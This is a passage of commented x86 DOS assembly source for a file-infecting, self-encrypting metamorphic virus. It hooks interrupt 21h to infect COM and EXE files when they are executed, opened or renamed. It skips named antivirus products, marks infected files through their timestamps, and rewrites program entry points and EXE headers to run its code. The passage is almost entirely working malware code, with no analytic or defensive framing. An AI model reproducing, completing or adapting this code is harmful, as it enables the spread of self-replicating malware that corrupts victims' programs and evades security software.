|
|
dw 0bd4h ; Pointer to get_rnd_num_
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov ds:[1234h],al ; Store 8-bit encryption/decryptio...
|
|
|
|
db 11101101b ; Data reference
|
|
dw 0bd7h ; Pointer to crypt_key_
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov ds:[1234h],ah ; Store 8-bit sliding encryption/d...
|
|
|
|
db 11101101b ; Data reference
|
|
dw 0bd8h ; Pointer to sliding_key_
|
|
db 11101000b ; CALL imm16 (opcode 0e8h)
|
|
dw 0bfeh ; Pointer to crypt_table_
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov ax,3521h ; Get interrupt vector 21h
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
int 21h
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov di,1234h ; DI = offset of int21_jump
|
|
|
|
db 11101101b ; Data reference
|
|
dw 0c9h ; Pointer to int21_jump
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov [di+01h],bx ; Store offset of interrupt 21h
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov [di+03h],es ; Store segment of interrupt 21h
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov dx,1234h ; DX = offset of int21_virus
|
|
|
|
db 11101101b ; Data reference
|
|
dw 0c8h ; Pointer to int21_virus
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov ax,2521h ; Set interrupt vector 21h
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
int 21h
|
|
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 65h ; Pointer to virus_exit_
|
|
db 11101111b ; End of block
|
|
crypt_table_ db 11101110b ; Beginning of block
|
|
dw 0bfeh ; Block identification of crypt_ta...
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov si,1234h ; SI = offset of tmc_table_
|
|
|
|
db 11101101b ; Data reference
|
|
dw 4c5h ; Pointer to tmc_table_
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov cx,(code_end-first_table)
|
|
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 0bffh ; Pointer to crypt_loop
|
|
db 11101111b ; End of block
|
|
crypt_loop db 11101110b ; Beginning of block
|
|
dw 0bffh ; Block identification of crypt_lo...
|
|
db 02h ; Two bytes instruction
|
|
|
|
xor [si],al ; Encrypt byte of table
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
inc si ; Increase offset within table
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
add al,ah ; Add 8-bit sliding encryption key...
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
dec cx ; Decrease counter
|
|
|
|
db 01110101b+10000000b ; Not zero? Jump to crypt_loop
|
|
dw 0bffh ; Pointer to crypt_loop
|
|
db 01h ; One byte instruction
|
|
|
|
ret ; Return
|
|
|
|
db 11101111b ; End of block
|
|
int21_virus db 11101110b ; Beginning of block
|
|
dw 0c8h ; Block identification of int21_virus
|
|
db 01h ; One byte instruction
|
|
|
|
push ax ; Save AX at stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
push bx ; Save BX at stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
push cx ; Save CX at stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
push dx ; Save DX at stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
push si ; Save SI at stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
push di ; Save DI at stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
push ds ; Save DS at stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
push es ; Save ES at stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
cld ; Clear direction flag
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
cmp ah,4bh ; Load and/or execute program?
|
|
|
|
db 01110100b+10000000b ; Equal? Jump to find_zero
|
|
dw 1392h ; Pointer to find_zero
|
|
db 03h ; Three bytes instruction
|
|
|
|
cmp ah,56h ; Rename file?
|
|
|
|
db 01110100b+10000000b ; Equal? Jump to find_zero
|
|
dw 1392h ; Pointer to find_zero
|
|
db 03h ; Three bytes instruction
|
|
|
|
cmp ah,3dh ; Open file?
|
|
|
|
db 01110101b+10000000b ; Not equal? Jump to int21_exit
|
|
dw 0fbh ; Pointer to int21_exit
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 1392h ; Pointer to find_zero
|
|
db 11101111b ; End of block
|
|
find_zero db 11101110b ; Beginning of block
|
|
dw 1392h ; Block identification of find_zero
|
|
db 01h ; One byte instruction
|
|
|
|
push ds ; Save DS at stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop es ; Load ES from stack (DS)
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov di,dx ; DI = offset of filename
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov cx,43h ; CX = number of bytes to search t...
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
xor al,al ; Zero AL
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
repne scasb ; Find end of filename
|
|
|
|
db 01110101b+10000000b ; Not equal? Jump to int21_exit
|
|
dw 0fbh ; Pointer to int21_exit
|
|
db 03h ; Three bytes instruction
|
|
|
|
lea si,[di-05h] ; SI = offset of the dot in the fi...
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
lodsw ; AX = two bytes of filename
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
or ax,2020h ; Lowercase characters
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov bx,'mo' ; COM executable
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
cmp ax,'c.' ; COM executable?
|
|
|
|
db 01110100b+10000000b ; Equal? Jump to examine_ext
|
|
dw 0f0h ; Pointer to examine_ext
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov bx,'ex' ; EXE executable
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
cmp ax,'e.' ; EXE executable?
|
|
|
|
db 01110100b+10000000b ; Equal? Jump to examine_ext
|
|
dw 0f0h ; Pointer to examine_ext
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 0fbh ; Pointer to int21_exit
|
|
db 11101111b ; End of block
|
|
examine_ext db 11101110b ; Beginning of block
|
|
dw 0f0h ; Block identification of examine_ext
|
|
db 01h ; One byte instruction
|
|
|
|
lodsw ; AX = two bytes of filename
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
or ax,2020h ; Lowercase characters
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
cmp ax,bx ; COM or EXE executable?
|
|
|
|
db 01110101b+10000000b ; Not equal? Jump to examine_ext
|
|
dw 0fbh ; Pointer to int21_exit
|
|
db 03h ; Three bytes instruction
|
|
|
|
sub si,04h ; SI = offset of the dot in the fi...
|
|
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 1398h ; Pointer to find_name
|
|
db 11101111b ; End of block
|
|
find_name db 11101110b ; Beginning of block
|
|
dw 1398h ; Block identification of find_name
|
|
db 01h ; One byte instruction
|
|
|
|
dec si ; SI = offset within filename
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov al,[si] ; AL = byte of filename
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
cmp al,'/' ; Beginning of filename?
|
|
|
|
db 01110100b+10000000b ; Equal? Jump to examine_name
|
|
dw 1397h ; Pointer to examine_name
|
|
db 02h ; Two bytes instruction
|
|
|
|
cmp al,'\' ; Beginning of filename?
|
|
|
|
db 01110100b+10000000b ; Equal? Jump to examine_name
|
|
dw 1397h ; Pointer to examine_name
|
|
db 02h ; Two bytes instruction
|
|
|
|
cmp al,':' ; Beginning of filename?
|
|
|
|
db 01110100b+10000000b ; Equal? Jump to examine_name
|
|
dw 1397h ; Pointer to examine_name
|
|
db 02h ; Two bytes instruction
|
|
|
|
cmp si,dx ; Beginning of filename?
|
|
|
|
db 01110111b+10000000b ; Above? Jump to find_name
|
|
dw 1398h ; Pointer to find_name
|
|
db 01h ; One byte instruction
|
|
|
|
dec si ; SI = offset within filename
|
|
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 1397h ; Pointer to examine_name
|
|
db 11101111b ; End of block
|
|
examine_name db 11101110b ; Beginning of block
|
|
dw 1397h ; Block identification of examine_...
|
|
db 01h ; One byte instruction
|
|
|
|
inc si ; SI = offset of beginning of file...
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
lodsw ; AX = two bytes of filename
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
or ax,2020h ; Lowercase characters
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
xor ax,0aa55h ; Encrypt two bytes of filename
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
cmp ax,('ci' xor 0aa55h)
|
|
|
|
db 01110100b+10000000b ; Equal? Jump to int21_exit
|
|
dw 0fbh ; Pointer to int21_exit
|
|
db 03h ; Three bytes instruction
|
|
|
|
cmp ax,('on' xor 0aa55h)
|
|
|
|
db 01110100b+10000000b ; NOD-iCE? Jump to int21_exit
|
|
dw 0fbh ; Pointer to int21_exit
|
|
db 03h ; Three bytes instruction
|
|
|
|
cmp ax,('ew' xor 0aa55h)
|
|
|
|
db 01110100b+10000000b ; Dr. Web? Jump to int21_exit
|
|
dw 0fbh ; Pointer to int21_exit
|
|
db 03h ; Three bytes instruction
|
|
|
|
cmp ax,('bt' xor 0aa55h)
|
|
|
|
db 01110100b+10000000b ; ThunderByte Anti-Virus? Jump to ...
|
|
dw 0fbh ; Pointer to int21_exit
|
|
db 03h ; Three bytes instruction
|
|
|
|
cmp ax,('va' xor 0aa55h)
|
|
|
|
db 01110100b+10000000b ; AntiViral Toolkit Pro? Jump to i...
|
|
dw 0fbh ; Pointer to int21_exit
|
|
db 03h ; Three bytes instruction
|
|
|
|
cmp ax,('-f' xor 0aa55h)
|
|
|
|
db 01110100b+10000000b ; F-PROT? Jump to int21_exit
|
|
dw 0fbh ; Pointer to int21_exit
|
|
db 03h ; Three bytes instruction
|
|
|
|
cmp ax,('cs' xor 0aa55h)
|
|
|
|
db 01110100b+10000000b ; McAfee ViruScan? Jump to int21_exit
|
|
dw 0fbh ; Pointer to int21_exit
|
|
db 03h ; Three bytes instruction
|
|
|
|
cmp ax,('oc' xor 0aa55h)
|
|
|
|
db 01110100b+10000000b ; COMMAND.COM? Jump to int21_exit
|
|
dw 0fbh ; Pointer to int21_exit
|
|
db 03h ; Three bytes instruction
|
|
|
|
cmp ax,('iw' xor 0aa55h)
|
|
|
|
db 01110100b+10000000b ; WIN.COM? Jump to int21_exit
|
|
dw 0fbh ; Pointer to int21_exit
|
|
db 03h ; Three bytes instruction
|
|
|
|
cmp ax,('rk' xor 0aa55h)
|
|
|
|
db 01110100b+10000000b ; Equal? Jump to int21_exit
|
|
dw 0fbh ; Pointer to int21_exit
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov cx,ds ; CX = segment of filename
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
push cs ; Save CS at stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop ds ; Load DS from stack
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov ax,3524h ; Get interrupt vector 24h
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
int 21h
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
push es ; Save ES at stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
push bx ; Save BX at stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
push dx ; Save DX at stack
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov dx,1234h ; DX = offset of int24_virus
|
|
|
|
db 11101101b ; Data reference
|
|
dw 1770h ; Pointer to int24_virus
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov ax,2524h ; Set interrupt vector 24h
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
int 21h
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop dx ; Load DX from stack
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov ds,cx ; DS = segment of filename
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov es,cx ; ES = segment of filename
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov ax,3d02h ; Open file (read/write)
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov bx,1234h ; BX = offset of int21_jump
|
|
|
|
db 11101101b ; Data reference
|
|
dw 0c9h ; Pointer to int21_jump
|
|
db 01h ; One byte instruction
|
|
|
|
inc bx ; BX = offset of address of interr...
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pushf ; Save flags at stack
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
call dword ptr cs:[bx]
|
|
|
|
db 01110010b+10000000b ; Error? Jump to int24_store
|
|
dw 1771h ; Pointer to int24_store
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov bx,ax ; BX = file handle
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
push cs ; Save CS at stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop ds ; Load DS from stack (CS)
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov ax,5700h ; Get file's date and time
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
int 21h
|
|
|
|
db 01110010b+10000000b ; Error? Jump to close_file
|
|
dw 0fah ; Pointer to close_file
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov ds:[1234h],dx ; Store file's date
|
|
|
|
db 11101101b ; Data reference
|
|
dw 12dh ; Pointer to file_date
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov al,cl ; AL = low-order byte of file time
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
and al,00011111b ; AL = file seconds
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
cmp al,00000100b ; Already infected (8 seconds)?
|
|
|
|
db 01110100b+10000000b ; Equal? Jump to close_file
|
|
dw 0fah ; Pointer to close_file
|
|
db 03h ; Three bytes instruction
|
|
|
|
and cl,11100000b ; Zero file seconds
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
or cl,00000100b ; Set infection mark (8 seconds)
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov ds:[1234h],cx ; Store file's time
|
|
|
|
db 11101101b ; Data reference
|
|
dw 12ch ; Pointer to file_time
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov ah,3fh ; Read from file
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov cx,03h ; Read three bytes
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov dx,1234h ; DX = offset of origin_code_
|
|
|
|
db 11101101b ; Data reference
|
|
dw 1f40h ; Pointer to origin_code_
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov si,dx ; SI = offset of origin_code_
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
int 21h
|
|
|
|
db 01110010b+10000000b ; Error? Jump to close_file
|
|
dw 0fah ; Pointer to close_file
|
|
db 01h ; One byte instruction
|
|
|
|
lodsw ; AX = EXE signature
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
cmp ax,'ZM' ; EXE signature?
|
|
|
|
db 01110100b+10000000b ; Equal? Jump to infect_exe
|
|
dw 138dh ; Pointer to infect_exe
|
|
db 03h ; Three bytes instruction
|
|
|
|
cmp ax,'MZ' ; EXE signature?
|
|
|
|
db 01110100b+10000000b ; Equal? Jump to infect_exe
|
|
dw 138dh ; Pointer to infect_exe
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov si,1234h ; SI = offset of initial_cs_
|
|
|
|
db 11101101b ; Data reference
|
|
dw 1389h ; Pointer to initial_cs_
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov [si],0fff0h ; Store initial CS relative to sta...
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov si,1234h ; SI = offset of initial_ss_
|
|
|
|
db 11101101b ; Data reference
|
|
dw 138ah ; Pointer to initial_ss_
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov [si],0fff0h ; Store initial SS relative to sta...
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov si,1234h ; SI = offset of initial_ip_
|
|
|
|
db 11101101b ; Data reference
|
|
dw 138bh ; Pointer to initial IP
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov [si],100h ; Store initial IP
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov si,1234h ; SI = offset of initial_sp_
|
|
|
|
db 11101101b ; Data reference
|
|
dw 138ch ; Pointer to initial_sp_
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov [si],0fffeh ; Store initial SP
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov si,1234h ; SI = offset of mcb_size__
|
|
|
|
db 11101101b ; Data reference
|
|
dw 1395h ; Pointer to mcb_size__
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov [si],0ffffh ; Store size of memory block in pa...
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov si,1234h ; SI = offset of new_mcb_siz
|
|
|
|
db 11101101b ; Data reference
|
|
dw 1393h ; Pointer to new_mcb_siz
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov [si],1000h ; Store new size in paragraphs
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov al,00h ; COM executable
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov ds:[1234h],al ; Store executable status
|
|
|
|
db 11101101b ; Data reference
|
|
dw 1388h ; Pointer to executa_sta
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov ax,4202h ; Set current file position (EOF)
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
xor cx,cx ; CX = high-order word of offset f...
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
xor dx,dx ; DX = low-order word of offset f...
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
int 21h
|
|
|
|
db 01110010b+10000000b ; Error? Jump to close_file
|
|
dw 0fah ; Pointer to close_file
|
|
db 03h ; Three bytes instruction
|
|
|
|
cmp ax,0e000h ; Filesize too large?
|
|
|
|
db 01110111b+10000000b ; Above? Jump to close_file
|
|
dw 0fah ; Pointer to close_file
|
|
db 01h ; One byte instruction
|
|
|
|
push ax ; Save AX at stack
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
add ax,100h ; AX = delta offset
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov ds:[01h],ax ; Store delta offset
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov ah,40h ; Write to file
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
xor dx,dx ; Zero DX
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov cx,1234h ; CX = length of virus
|
|
|
|
db 11101101b ; Data reference
|
|
dw 66h ; Pointer to virus_end
|
|
db 02h ; Two bytes instruction
|
|
|
|
int 21h
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop ax ; Load AX from stack
|
|
|
|
db 01110010b+10000000b ; Error? Jump to close_file
|
|
dw 0fah ; Pointer to close_file
|
|
db 01h ; One byte instruction
|
|
|
|
push ax ; Save AX at stack
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov ax,4200h ; Set current file position (SOF)
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
xor cx,cx ; CX = high-order word of offset f...
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
xor dx,dx ; DX = low-order word of offset fr...
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
int 21h
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop ax ; Load AX from stack
|
|
|
|
db 01110010b+10000000b ; Error? Jump to close_file
|
|
dw 0fah ; Pointer to close_file
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov di,1234h ; DI = offset of origin_code_
|
|
|
|
db 11101101b ; Data reference
|
|
dw 1f40h ; Pointer to origin_code_
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov dx,di ; DX = offset of origin_code_
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov byte ptr [di],11101001b
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
sub ax,03h ; AX = offset of virus within infe...
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov [di+01h],ax ; Store offset of virus within inf...
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov cx,03h ; Write three bytes
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov ah,40h ; Write to file
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
int 21h
|
|
|
|
db 01110010b+10000000b ; Error? Jump to close_file
|
|
dw 0fah ; Pointer to close_file
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 138eh ; Pointer to set_file_inf
|
|
db 11101111b ; End of block
|
|
set_file_inf db 11101110b ; Beginning of block
|
|
dw 138eh ; Block identification of set_file...
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov ax,5701h ; Set file's date and time
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov cx,ds:[1234h] ; CX = new time
|
|
|
|
db 11101101b ; Data reference
|
|
dw 12ch ; Pointer to file_time
|
|
db 04h ; Four bytes instruction
|
|
|
|
mov dx,ds:[1234h] ; DX = new date
|
|
|
|
db 11101101b ; Data reference
|
|
dw 12dh ; Pointer to file_date
|
|
db 02h ; Two bytes instruction
|
|
|
|
int 21h
|
|
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 0fah ; Block identification of close_file
|
|
db 11101111b ; End of block
|
|
close_file db 11101110b ; Beginning of block
|
|
dw 0fah ; Block identification of close_file
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov ah,3eh ; Close file
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
int 21h
|
|
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 1771h ; Pointer to int24_store
|
|
db 11101111b ; End of block
|
|
int24_store db 11101110b ; Beginning of block
|
|
dw 1771h ; Block identification of int24_store
|
|
db 01h ; One byte instruction
|
|
|
|
pop dx ; Load DX from stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop ds ; Load DS from stack
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov ax,2524h ; Set interrupt vector 21h
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
int 21h
|
|
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 0fbh ; Pointer to int21_exit
|
|
db 11101111b ; End of block
|
|
int21_exit db 11101110b ; Beginning of block
|
|
dw 0fbh ; Block identification of int21_exit
|
|
db 01h ; One byte instruction
|
|
|
|
pop es ; Load ES from stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop ds ; Load DS from stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop di ; Load DI from stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop si ; Load SI from stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop dx ; Load DX from stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop cx ; Load CX from stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop bx ; Load BX from stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop ax ; Load aX from stack
|
|
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 0c9h ; Pointer to int21_jump
|
|
db 11101111b ; End of block
|
|
int21_jump db 11101110b ; Beginning of block
|
|
dw 0c9h ; Block identification of int21_jump
|
|
db 05h+10h ; Five bytes data
|
|
db 11101010b ; JMP imm32 (opcode 0eah)
|
|
dd 00h ; address of interrupt 21h
|
|
db 11101111b ; End of block
|
|
infect_exe db 11101110b ; Beginning of block
|
|
dw 138dh ; Block identification of infect_exe
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov al,01h ; EXE executable
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov ds:[1234h],al ; Store executable status
|
|
|
|
db 11101101b ; Data reference
|
|
dw 1388h ; Pointer to executa_sta
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov ax,4200h ; Set current file position (SOF)
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
xor cx,cx ; CX = high-order word of offset f...
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
xor dx,dx ; CX = low-order word of offset fi...
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
int 21h
|
|
|
|
db 01110010b+10000000b ; Error? Jump to close_file
|
|
dw 0fah ; Pointer to close_file
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov ah,3fh ; Read from file
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov cx,18h ; Read twenty-four bytes
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov dx,1234h ; DX = offset of exe_header
|
|
|
|
db 11101101b ; Data reference
|
|
dw 138fh ; Pointer to exe_header
|
|
db 02h ; Two bytes instruction
|
|
|
|
int 21h
|
|
|
|
db 01110010b+10000000b ; Error? Jump to close_file
|
|
dw 0fah ; Pointer to close_file
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov si,1234h ; SI = offset of exe_header
|
|
|
|
db 11101101b ; Data reference
|
|
dw 138fh ; Pointer to exe_header
|
|
db 02h ; Two bytes instruction
|
|
|
|
xor ax,ax ; Zero AX
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
cmp [si+0ch],0ffffh ; Maximum paragraphs to allocate ...?
|
|
|
|
db 01110100b+10000000b ; Equal? Jump to maximum_mem
|
|
dw 1399h ; Pointer to maximum_mem
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov ax,[si+04h] ; AX = total number of 512-byte pa...
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
inc ax ; Increase total number of 512-byt...
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
mov cl,05h ; Divide by thirty-two
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
shl ax,cl ; AX = total number of 512-byte pa...
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
sub ax,[si+08h] ; Subtract header size in paragrap...
|
|
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 1399h ; Pointer to maximum_mem
|
|
db 11101111b ; End of block
|
|
maximum_mem db 11101110b ; Beginning of block
|
|
dw 1399h ; Block identification of maximum_mem
|
|
db 03h ; Three bytes instruction
|
|
|
|
add ax,[si+0ch] ; Add maximum paragraphs to alloca...
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov ds:[1234h],ax ; Store size of memory block in pa...
|
|
|
|
db 11101101b ; Data reference
|
|
dw 1395h ; Pointer to mcb_size__
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov ax,[si+0eh] ; AX = initial SS relative to star...
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov ds:[1234h],ax ; Store initial SS relative to sta...
|
|
|
|
db 11101101b ; Data reference
|
|
dw 138ah ; Pointer to initial_ss_
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov ax,[si+10h] ; AX = initial SP
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov ds:[1234h],ax ; Store initial SP
|
|
|
|
db 11101101b ; Data reference
|
|
dw 138ch ; Pointer to initial_sp_
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov ax,[si+14h] ; AX = initial IP
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov ds:[1234h],ax ; Store initial IP
|
|
|
|
db 11101101b ; Data reference
|
|
dw 138bh ; Pointer to initial_ip_
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov ax,[si+16h] ; AX = initial CS relative to star...
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov ds:[1234h],ax ; Store initial CS relative to sta...
|
|
|
|
db 11101101b ; Data reference
|
|
dw 1389h ; Pointer to initial_cs_
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov ax,14h ; AX = probability of storing inco...
|
|
|
|
db 04h ; Four bytes instruction
|
|
|
|
cmp ds:[1234h],ax ; Store incorrect IP?
|
|
|
|
db 11101101b ; Data reference
|
|
dw 0bech ; Pointer to probability_
|
|
db 01110111b+10000000b ; Above? Jump to set_file_pos
|
|
dw 1775h ; Pointer to set_file_pos
|
|
db 01h ; One byte instruction
|
|
|
|
push bp ; Save BP at stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
push ds ; Save DS at stack
|
|
|
|
db 01h ; One byte instruction
|
|
|
|
pop es ; Load ES from stack (DS)
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov bp,40h ; Random number within sixty-four
|
|
|
|
db 11101000b ; CALL imm16 (opcode 0e8h)
|
|
dw 0bd5h ; Pointer to rnd_in_rang
|
|
db 01h ; One byte instruction
|
|
|
|
pop bp ; Load BP from stack
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
add ax,[si+14h] ; Add initial IP to random number ...
|
|
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov ds:[1234h],ax ; Store incorrect IP
|
|
|
|
db 11101101b ; Data reference
|
|
dw 1773h ; Pointer to incorrec_ip
|
|
db 11101001b ; JMP imm16 (opcode 0e9h)
|
|
dw 1775h ; Pointer to set_file_pos
|
|
db 11101111b ; End of block
|
|
set_file_pos db 11101110b ; Beginning of block
|
|
dw 1775h ; Block identification of set_file...
|
|
db 03h ; Three bytes instruction
|
|
|
|
mov ax,4202h ; Set current file position (EOF)
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
xor cx,cx ; CX = high-order word of offset f...
|
|
|
|
db 02h ; Two bytes instruction
|
|
|
|
xor dx,dx ; DX = high-order word of offset f...
|
|
|
|
